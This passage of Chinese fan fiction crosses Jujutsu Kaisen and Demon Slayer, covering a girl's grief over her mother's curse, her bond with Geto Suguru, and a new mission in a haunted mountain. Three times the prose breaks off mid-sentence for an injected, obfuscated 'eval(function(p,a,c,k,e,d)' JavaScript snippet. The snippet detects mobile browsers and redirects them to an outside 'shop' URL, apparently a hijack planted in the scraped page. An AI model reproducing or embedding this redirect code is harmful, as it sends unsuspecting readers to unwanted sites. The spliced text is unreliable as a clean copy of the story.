西川雾音急促地咳喘着,想要将灌进肺里的水全部吐出来,鼻腔也慢慢渗出鲜血,内脏被震得发疼,令她只能一手捂住口鼻,一手握紧断刀,往后重新跌坐回水里。 而那只准一级假想怨灵早已化为灰飞不见了。 如此艰难才杀掉一只准一级,甚至还不是【无尽生】组织中被驯服的“恶鬼”。 巨大的落差感让西川雾音在回去后就病倒了。 而那个在危险时没有现身,却在她无力控制呼吸法时肆意钻出她身体的诅咒,则如阴影般笼在这间独栋的小院上。 那时西川雾音才彻底明悟,诅咒就是诅咒,诅咒不是她的母亲。 诅咒不会在她遇到危险的时候保护她。诅咒只是一把悬在她头上,随时会砍断她脑袋的刀而已。 幻想破灭的西川雾音躲藏在昏暗的房间里,被病魇缠绵了整个冬天。 一直到来年的春天,她才有所好转。 而本就身体单薄的她在经过一个漫长的冬天后更加清瘦,上一年还合身的紫藤暗纹和服,现在穿在身上也变得空落得很。 她也已经很久没有走出这座小院了。 产屋敷大人来的时候,西川雾音正捻着太阳纹的花札耳饰向着太阳凝视着。 碧瞳像是无机质的琉璃珠,哪怕迎着烈日,也反射不出夺目的光。 “为什么摘下来了?”大手按在雾音的头顶上,将她的脑袋往下压了压,“拿下来的话,就彻底藏不住它了。这么放任诅咒在身外的话,自己也会很不舒服吧?” 西川雾音仍望着这耳饰:“无论怎么样都无所谓了……” 产屋敷大人沉吟了一下,干脆撩起白色的衣袍席地而坐,全然没了往日里在众人面前的威严: “到底发生了什么呢?那次在高山市雾音明明靠自己一个人杀死了准一级咒灵,值得称赞的事却让你回来后就病倒了,甚至开始排斥再修习呼吸法……所以发生了什么我不知道的事情吗?雾音如今愿意告诉我了吗?” 西川雾音垂下手,花札耳饰被摆在衣摆处拨弄,半晌都没有说话。 产屋敷大人极有耐心地等待着。 过了许久,西川雾音才轻轻道:“产屋敷大人,我妈妈真的死了吗?” 产屋敷大人有些意外雾音提出的问题。 在西川雾音来到产屋敷的这一年里,她从来没有主动提过自己的母亲,有时候连产屋敷自己都讶异于这个孩子的坚韧。 但是现在看来,并不是那么简单。 西川雾音难得露出迷惘的神色,仰起头看向产屋敷大人,那张皙白的面容在阳光下更显透明病态: “诅咒,不是妈妈吗?” ——在这个孩子心里,她的母亲从来没有离开过。 “为什么它不救我?” 缠绕在西川雾音心尖一整个冬天的抑郁、悲恸、迷茫,不仅没有被诅咒吞噬殆尽,反而愈演越烈、越来越浓,如同深渊下望不见的海啸,在这一刻终于翻涌出海面,“因为我妈妈死了。它是诅咒。它不是妈妈。” 西川雾音望着产屋敷大人,眼睛睁得大大的,可是仍不断有液体跌落下来。 眼泪不停地不停地滑过她的脸,她连神情都没有变过一下,像是只是种无法控制的生理反应,所以连哽咽也没有。 直到嘴角尝到了苦涩的味道,才恍然地抬了抬手:“……” 西川雾音垂下了脑袋,安静地看着掉出来的眼泪,在朦胧的水雾里见地板被洇出点点水迹。 “耳饰……大人带走吧。”好半晌,西川雾音才开口,声音平静,“我做不到了。” 从西川雾音落泪开始,就变得沉默寡言的产屋敷大人终于喟叹一声。 他没有再看西川雾音,而是转而去望被框住的那一方天。 庭院的檐角上,一只黑色的鎹鸦正立在那里,用尖长的鸟喙啄着漆黑的羽毛,像是感受到了主人的视线,仰头鸣叫着俯冲而下,站在了产屋敷大人的肩膀上。 “雾音,”鎹鸦小小的黑眼睛跟随着产屋敷的动作,一同望向身边的女孩,“你母亲确实死了。” 西川雾音垂着头无动于衷,可庭院却风声大作。 没了花札耳饰的遮掩,诅咒如同可怖的兽,身影摇曳在这座庭院上,红色的黑色的流焰张扬着要把太阳也吞掉。 产屋敷大人眯着眼睛看着头顶的太阳半晌: “雾音,当初你选择继承这花札耳饰,就代表了你愿意承担消灭【鬼】的责任。百年来,当初从产屋敷逃出去的鬼舞辻族人携着咒具【无尽生】藏在了连鎹鸦都找不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037247|144506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地方,一直到你的母亲以身献祭,引动了这枚咒具,产屋敷才能在‘鬼’的手中救下你,而你的母亲也让日之呼吸在时隔百年后重新现世。” 产屋敷大人语气轻而郑重:“雾音,沙耶奈从来没有离开过你。你就是沙耶奈。” 灶门沙耶奈,百年前鬼杀队中灶门炭治郎的后代,也是如今当世唯一会日之呼吸的特级过咒怨灵。 产屋敷曜哉第一次见到沙耶奈的时候,还是他父亲在世的时候。 沙耶奈比他还要大几岁,那时候她已经嫁给了丈夫西川莲。 已经怀有身孕的沙耶奈将那对印有太阳纹的花札耳饰送到产屋敷老宅。 只是一个普通人的她既无法看到咒灵,也无法修习呼吸法,于是决定将继承下来的这件咒具交由产屋敷保管。 她唯一的要求就是,倘若未来有一天,她的孩子遭受了鬼之一族的伤害,产屋敷必须庇护这个孩子。 【只要能让她活下来,哪怕让她继承这对耳饰也可以……不过倘若真的有那一天,我也一定会为这个孩子安排好一切的。】 那个温柔善良的女人最终还是一语成谶。 以自身诅咒自己的女儿,让同样身为普通人的女儿有了能够修习呼吸法的机会,却也让她一只脚踏进了另一个极度危险的世界。 而这是唯一能够让她的孩子哪怕离开了产屋敷,也能保全自己的方法。 产屋敷大人伸出手轻轻压在正望着他的孩子头顶:“雾音,不要辜负了你的母亲。呼吸法,你必须要学会。因为这是你母亲最后留给你的东西。” 只有让自己变得强大,不要依靠任何人。 西川雾音再没有说过交还花札耳饰的话。 她将耳饰重新戴了回去,跟着产屋敷大人走出了这栋独立庭院。 在春暖花开时,产屋敷大人带着她前往了锻刀村,重新铸造了一把属于她的日轮刀。 而今时隔三年,日轮刀再次断刀,锻刀一事迫在眉睫。 西川雾音看着眼前的黑发男生,在无法道清缘由的情况下,选择遵从了自己的心意,向对方发出了邀请。 月光融融溶在夏油杰的黑发上,银白色勾勒着对方的轮廓,柔和了男生的眉眼。 他在短暂的惊讶后,扬起唇角,微微倾身。 柔软的刘海轻轻扫在西川雾音的脸侧,那张昳丽清绝的脸就放大在眼前,浓紫的眼睛里像是漾着酒波,带着醉意般注视着雾音。 夏油杰伸出手,轻轻触了一下雾音的眼角,像是不经意地误碰,浅尝辄止,指尖转而又勾上脸侧垂落的细碎发,细细地替她掖回耳后,视线才落回到那双浅碧色的瞳仁里。 他看着其中倒映着的自己:“当然愿意。如果雾音需要,我可以陪你去任何地方。” “但是现在,”夏油杰往后撤离,抱着雾音走进宿舍楼,只能听到他带着浅笑的声音,“如果再晚睡,小雾音就真的要长不大了。” 24.第二十四章 没什么征兆的,在回到高专的第二天,身体就变回来了。 因为太过突然,无论是西川雾音还是家入硝子都短暂地懵了一下。 好在这件事发生的时候她们没有在外面。身体变回来时,西川雾音正坐在家入硝子的宿舍里。 衣服传来撕裂的声音时,西川雾音还在低头,认真吃着硝子投喂的牛奶布丁。 她的第一反应是抬头去看硝子。 家入硝子正一边提着啤酒罐轻晃着,一边吐槽着高专不合理的任务安排和任务时间,一扭头看到西川雾音衣服都被撑破了,也是惊了一下,第一反应竟然是想用反转术式将衣服修复好。 反应过来的家入硝子被自己笑到了:“完了,我最近真的被折磨到,看到什么都条件反射要用反转术式了。” 硝子边说,边站起身从衣柜里去翻找自己的衣服给西川雾音。 虽然硝子并没有参与到这次他们三个人的任务里去,但是独自留在高专里的她也没有清闲下来。 从他们三人离开,高专就以“想要培养更多的能够救助咒术师的医疗人员”为名头,派硝子去带领了一支医疗小队。 要知道反转术式可是连五条悟都没有学会的术式,更不用提这支咒力薄弱,仅能看到咒灵的医疗小队了。 所以最后就演变成了家入硝子一个人的舞台——她一个人站在手术台上不停地使用反转术式。 用硝子的话来说就是,差点当场就撂了手术刀,掀桌走人了。 “感觉自己像牛马一样,连喘口气的机会都不给,怪不得五条那家伙每次提到高层都是那个态度……”硝子侧过身等雾音换好衣服才转过来,“很合适嘛,看来偶尔换换风格也不错诶。” 西川雾音听了硝子的话,对着镜子看了看:“嗯……有什么区别吗?” 家入硝子伸手拍了拍她的脑袋,叹气:“真替夏油那家伙担忧啊……” 和杰有什么关系?西川雾音想着还没说出口,就被硝子转了个身,轻轻推了一下后背:“赶紧回去换身衣服。” 西川雾音就这么被推着走了出去。 因为她的宿舍和硝子是连在一起的,所以只用出门左转,就能回到自己的宿舍里。 西川雾音把衣柜里早就洗好晾干的黑色校服拿出来换上,又站在了镜子前照了照,还是没觉得这身衣服同硝子给的那身有什么区别。 她将硝子的衣服叠好收到纸袋里,提着准备出去还给硝子,一开门却看到了意料之外的人。 男生应该已经来了一会了,就靠在门边的墙壁上,歪垂着头,把玩着右手上的东西。 听到开门声,遮在眼前的刘海才随着他抬头的动作落在了脸侧,露出对方白净隽朗的面容。 “杰?”西川雾音稍稍讶异,“你怎么来了?没敲门吗?” 夏油杰带着笑看向站在门框里的女生,站直了身体,往她的方向走了几步:“之前在跟悟打游戏,那家伙突然变大吓了我一跳,想着雾音的术式应该也解除了,所以就来找你了。” 他站在雾音的几步外,几乎跟门其高的高大身材却没有像山一样笼罩在雾音的身上,而是合乎其礼地维持着一个不远,但是又足够让人看出亲密的距离。 他声音温温柔的:“刚来就遇到了硝子,她跟我说你刚回来,我就没有敲门。” 夏油杰说着,视线落到雾音怀里抱着的纸袋上,像是恍然般:“是要去找硝子还衣服吗?硝子刚刚出门了,让我跟雾音说衣服不用着急还给她。她还说,衣服很适合你。” 男生声音清爽温和,只有尾音微微压低拖长,深紫色的眼睛轻眨着,非常自然地从衣袋上转到雾音的脸上。 “硝子刚刚也这么说的。”西川雾音听到夏油杰的话,看着他笑了起来。 她要微微仰头才能与他对视,而对方像是也知道自己过于挺拔的身高,于是轻轻地俯身,让雾音的目光可以顺理成章地落在他的脸上。 明明刚开始雾音还是在看着那双漂亮狭长的眼睛,后面视线就不由自主落在了他的脸上和肩上。 她才发现今天的男生并没有像往常一样将头发扎在脑后,而是就这么散下来披在肩上。 黑色的半长发随性地掖在耳后,身上也没有再穿那件黑黢黢的校服,白色的休闲短袖让他看上去悠然又散漫。 第一次见夏油杰穿休闲装的西川雾音不由得看了好几遍。 被这样直视着的夏油杰只是侧了侧头,细长的眼尾悄悄拉长,故作讶然:“怎么一直看着我?” 西川雾音伸出手,倾身轻轻拉扯了一下他落在肩头的细碎长发:“杰把头发放下来了。” “很奇怪吗?”夏油杰左右张望着自己的肩膀,“因为刚洗过澡,所以就把头发散下来了……不会很难看吧?” 这人,嘴上说着“难看”,却噙着笑看着西川雾音,歪着头,让乌黑的半长发从耳后掉到胸前。 发尾的尖尖也不知是有意还是无意地,蹭在西川雾音的鼻尖上,惹得她忍不住伸手去抓。 结果抓了两次,还没抓到。 调皮的发尾总是巧妙地躲过了手指,西川雾音终于后知后觉地抬头,才对视上,黑发男生就眨着眼无辜问她:“怎么了?” 西川雾音看了他一会,干脆伸手,一只手托在男生的下颚处,让他的脑袋不能再动弹,另一只手则去抓刚刚一直逗弄她的发梢。 夏油杰也当真不再动了。 黑色的脑袋老老实实地抵在雾音的手掌上,任由自己耳鬓垂下的发被她抓住,只有一双含着笑的深紫色眼睛注视着她。 非常罕见的,西川雾音被这么看着,向来无波无澜的心里突然悸了一下,手也不由自主地松开来。 可是还没等她垂下手,就先被对方抓住,圆形的手环就这么套在了她的手腕上。 “……这是什么?”西川雾音垂眸去看自己的左手腕。 鸦青色的镂空手环戴在纤瘦的手腕上,上面雕刻着梵语和符咒,像是一只倒飞的乌鸦。 可才刚扫了几眼,大手便从旁边伸了过来,自然而然地捏住了她的手腕,将雾音往自己的方向轻轻拉了拉,语气自然: “要去吃荞麦面吗?” - 又一次来到这家面馆里,两个人坐在高脚凳上,微甜的汤汁味弥散在不大的空间内,让西川雾音忍不住吸了两下鼻子。 吧台后的店主已经把两份荞麦面端了上来,正熟稔地跟坐在雾音身旁的男生聊天,两个人从以前聊到近况,而西川雾音却被面前的面吸引住了所有的注意。 她像是一只第一次踏出窝,见到世界的小猫。浅碧色的眼睛微微大睁着,不停地看着眼前的这一碗面,甚至将脸都快凑到碗里,小巧精致的鼻子耸动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068442|144506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半天,才抬起两只手捧住碗,小心翼翼地贴在碗边抿了一口,然后就是猛地侧过脸去看身旁的男生。 夏油杰也正望着她。 他单手抻着脸侧,明明还在跟店长说话,目光却一直落在她身上,将她的一举一动都看在眼里。 对视上的瞬间,夏油杰对着雾音露出了一个非常浅淡的笑容,像是在告诉她:是的,没错,她没有感觉错。 西川雾音的喉间突然有些涩然。 她很难形容那一时刻的感受。 比先前对方发出吃饭邀请时,她突然决定换回硝子的衣服跟杰一起出去时的心情还要莫测难辨。 是一种滚烫的、难以抑制的情绪从胸口的位置一直翻涌向上,等到嘴边时,就变成了一句小小声地:“杰……” 可是他偏偏听到了。 夏油杰非常抱歉地冲店长笑了笑,店长便心领神会地摆摆手,转身走回了垂帘后面。 夏油杰倾身过来,眼里嘴边都带着笑:“味道怎么样?” 语气自然,笃定她一定能尝出味道。 西川雾音看着他,举起了自己带着鸦青手环的左手腕,轻轻晃了晃:“是因为这个吗?” 回答她的是夏油杰温热的大手。 比她要大上一圈的手掌贴在她的头顶,左右揉了揉,然后就听到对方说: “再不吃,面要坨了哦。还等着雾音告诉我味道怎么样呢。” “……” 西川雾音沉默地垂下头,看着碗里油浸水亮的面,拿起筷子轻轻搅了几下,夹起细长的面放进嘴里。 是甜的。 也是微凉的。 是在冰水里冰过的清爽感。 【下次,一定让你吃出甜的味道。】 男生信誓旦旦的样子划过脑海,西川雾音低着头,又往嘴里塞了好几口荞麦面。 再抬头时,西川雾音对上夏油杰含笑的眼睛:“很好吃。真的特别好吃。是甜的。” 她还没说完,又低下头吃了一口,可咀嚼到一半,就再也吃不下去了。 西川雾音将脸埋进碗里。 夏油杰原本还在笑着,眼见雾音低头不动,笑容立时收拢起来,伸手抵在她的下巴处,将她的脸抬起来。 柔和的灯光打在女生白净的脸上,夏油杰深紫色的目光仔细地凝在她的眼尾,上面干干净净,没有水迹,这个发现让夏油杰眉头松了松。 他语气放缓,带了点调侃:“怎么了?突然低着头也不说话,让人怪害怕的。” 西川雾音仰着脸,所有的神情在对方的目光下一览无余,但她不介意这种其实已经过了界的视线和动作,而是认真道: “因为突然想起了爸爸的味道。” 她已经好久好久,好久没能这么清晰地品尝出食物的味道了。 之前哪怕再苦、再甜、再辣,味蕾都像是蒙着纱隔着布,总是无法真正触到真实的味道。 就像是她割裂的人生一般。 她总以为是无所谓的。 毕竟,怎么样都无所谓了。 可是现在,因为眼前的人,她突然觉得这些也很重要。 是甜的味道。 而被她在心里这样念着的人则是伸手敲了一下她的脑袋。 非常难得的,男生露出有些气又有些难以置信的神情:“谁?你把我当谁了?” 25.第二十五章 好在西川雾音长嘴了。 她跟夏油杰解释了以前父亲也经常会带她去吃荞麦面的事。 原本这段记忆已经变得模糊不清了,现在因为夏油杰,再次清晰可闻。 所以…… “所以,杰很重要。” 西川雾音一锤定音。 “说实话,”家入硝子咬着一根巧克力棒,望了望头顶的天花板,“我是真的万万没想到,夏油在这种地狱开局的模式下,都能快通关了……我的宝,你真的不再考虑其他人了吗,比如……” 家入硝子说着,视线转到旁边的另一位同期身上,就看到白毛正摇头晃脑吃着巧克力千层小蛋糕,嘴角和鼻尖都沾着黑褐色的巧克力,那副眯着眼享受到不行的表情,让人看了就有点小脑萎缩的感觉,于是她扭头,看向西川雾音,无比诚恳: “我是说,也许没必要在垃圾桶里翻垃圾。” “喂喂硝子——我们能听到好吗?”垃圾之一的白毛同期翻了翻白眼,抬脚踢了踢自己的前排。 被踢了的黑毛同期则表示:“你自己对号入座,不要带着我。” 家入硝子指了指他俩:“看到了吗,雾音,这都是反例。” 西川雾音原本正认真听家入硝子说话,旁边的白毛同期递过来一块巧克力小蛋糕,嗅到香甜的味道,西川雾音没怎么犹豫地咬了一口,同时对着硝子点头。 家入硝子:“……只有在此时恨不得你是个只看脸的肤浅人。” 话是这么说,硝子对自己的两个看上去不太靠谱的同期还是有滤镜分的。 毕竟,这两个人为雾音做了什么,她也是一清二楚,尤其是夏油杰。 她唯一担心的只有,此时的雾音真的能辨别出“喜欢”和“喜欢”的区别吗?夏油又能够接受到什么程度呢? 家入硝子这么想着,就看到坐在前排、向来不爱吃甜的夏油杰不仅吃掉了西川雾音顺手递过去的蛋糕,还拿出了湿巾递给她擦手,再顺便帮雾音和好友把吃光的蛋糕盒扔进了突然冒出来的咒灵的嘴里。 家入硝子:“……” 家入硝子:“夏油,帮我把咖啡罐一起扔进去。谢谢。” 夏油杰自然不会拒绝。 夏油杰脾气很好地接过咖啡罐,还帮硝子把吃空的零食袋也一起丢了进去: “垃圾桶也很好用吧?” 家入硝子左右张望,假装什么都没有听到。 几个人玩笑的时候,车子已经驶离了宽阔平坦的大路,打着转向灯拐进了一条小路。 在夏油杰原本的计划里,他是想要在西川雾音变大回来后,带她去尝一尝最近东京比较受女生欢迎甜品,没想到刚吃完荞麦面,就被闻着味过来的白毛同期堵在了门口。 对方一边抱怨为什么不带他一起,一边告诉他们,又有新的临时任务来了。 “歌姬那家伙,哈哈,被困在一个二级任务里了。”五条悟幸灾乐祸地捂着嘴笑,“等下见到她,老子一定要狠狠嘲笑她。” 夏油杰看了一眼已经等在巷口的辅助监督和站在另一边夹着烟对着他挥手耸肩的家入硝子,叹了口气: “嘲笑不嘲笑暂且不说……悟,你是真的看不懂人眼色啊……” “哈?”五条悟理直气壮,“老子什么时候需要看别人眼色?” 夏油杰闭了闭眼睛,脑袋疼,不想说话。 等走到了家入硝子身边,对方吞云吐雾,一脸同情:“约会被打搅了是这样的,忍忍吧。” 夏油杰听了硝子的话,停住脚步,侧身去看被店主叫住,落后了几步,正小跑过来的女生身上。 她身上那件吊带裙的裙摆扬起弧度,一直摇曳到夏油杰的身边才停下。 对方自然地拉住他的手臂,将店主刚刚送的一颗薄荷糖放进夏油杰的手心里,仰起的脸上溢着笑容: “给。我吃了,是甜的。” 她说着,还鼓了鼓腮,用舌头把糖顶起一个小小的弧度。 夏油杰看着她,突然眉眼松了下来,剥开了手里的薄荷糖,也放进嘴里,同时对刚把烟灭掉的硝子扬眉: “谁说被打搅了?” 然后又道:“谢谢你的裙子。” 说完,伸手牵过雾音的手腕,带着她往辅助监督的车上走去。 家入硝子看着他俩的背影,眨了两下眼,突然扭头对也站在旁边的白毛道: “去,五条,踢翻夏油的粮。” 五条悟:“啊?” - 车子行驶在颠簸的小路上,两边是茂密的深林,一丝光线都穿透不进这座深山里。 后排的三个人打开手机的手电筒,就着光又哗啦啦翻了一遍资料文件。 “很奇怪诶——”五条悟盯着文件上的某行字,“会有二级怨灵能够覆盖整个山头吗?整个——山诶!未免也太大了吧?” “咒灵大多形成于人的负面情绪,多数是无法离开自己的出生地,而且基本上咒灵形成时是什么体型,就会一直维持下去。如果是整个山这么大……那说明它在诞生的时候,就已经如此巨大了。”前座的夏油杰刚把手机合上。 “歌姬有回复你吗?”五条悟不抬头都能看到夏油杰在做什么。 夏油杰耸了下肩:“很遗憾,我还在黑名单里。” 五条悟发出嘲笑:“不愧是妇女之友。” 夏油杰:“发出好友申请从来没有被通过的你,怎么好意思嘲笑我?” 家入硝子也合上了手机:“歌姬学姐确实没有回复。应该不会出什么问题吧?” 跟两个男生相比,同是女生,又私交不错的硝子更担心庵歌姬的情况。 “歌姬学姐,是硝子上次提到过的二年级学姐吗?”西川雾音察觉到硝子的忧心,伸手轻轻碰了碰她的手臂。 硝子干脆直接拉住雾音的手:“是的,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199694|144506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是那个被他们俩拍了视频发到群里的庵学姐。两天前我跟她还通了电话,她说等她任务结束要来找我去喝酒,没想到今天就收到了协助任务的通知。” 说着,家入硝子蹙起眉:“歌姬学姐的实力尽管跟五条和夏油相比略显不足,但是她的术式是可以使包括自己在内的术式范围内的人的咒力得到增幅,按理说解决一个二级咒灵还是不在话下的。” 西川雾音想了想:“也许学姐遇到的咒灵跟上次我们遇到的任务一样。可能不是能不能祓除咒灵的问题,而是该如何祓除的问题。” 雾音的话刚落下,旁边一只大手有些轻佻随意地撸过她毛绒绒的发顶:“很聪明嘛小雾音~” “遍布群山的咒灵诶……”五条悟收回手抵在自己的下巴处,漂亮的蓝眼睛隔着黑色墨镜凝视着窗外静谧得过头的深林,“那就做个小实验好了。” 他这般喃喃自语着,宛自摇下了车窗,然后突然伸出手,拽住了窗边一晃而过的细枝。 他的手才触及上,蓝色的光便暴涨,下一秒,细枝就像炸开的水弹,蓝色灰色的黄色的混杂在一起的液体状东西便在车里溅开。 “喂喂——五条!脏死了!”家入硝子慌忙躲闪。 西川雾音则是被早有准备的夏油杰张开的黑色屏障般的物体挡住了所有液体。 “我说悟,好歹注意一下还是在车里吧?” 收了咒灵的夏油杰抽了纸巾递给还没完全反应过来发生了什么的西川雾音。 好在有无下限术式的阻隔,但五条悟仍有些嫌恶地甩了甩自己的手指:“有什么关系嘛?反正都是咒力,等会就消失了。除了老子,你们谁也看不到。” “所以呢?得出什么结论了吗?”夏油杰也摇下了半扇窗,任由挤进来的急风吹乱他难得披散下来的黑发。 “唔……也不算结论吧……”五条悟望向漆黑的窗外沉吟,“有个好消息和坏消息,你们想先听哪一个?” “坏消息。”夏油杰非常果断。 “坏消息。”了解白毛本性的家入硝子。 西川雾音默默咽回了“好消息”三个字。 “噢,真是没有幽默感啊杰,还有硝子……好吧,坏消息就是,我们被包围啦!整座山都是这个二级咒灵哦!超刺激呢!至于另外的好消息嘛……” 五条悟眨了下眼睛:“它只是个二级算不算?” 夏油杰:“所以你的好消息和坏消息,就是这些我们都已经知道并推测出来的事实吗?已经这么没用了吗悟?” 一如既往对着同期稳定输出的夏油杰毫不吝啬自己的嘲讽技能。 “哈?谁没用啊!老子只是还没说完呢!”五条悟差点蹦起来,“老子知道那咒灵是什么了,是水。这座山里所有的水都是那只咒灵。” 然后他又一次哼哼起来:“怪不得歌姬那家伙也会栽在二级咒灵手里……看吧,最后还不是要让老子去救她。”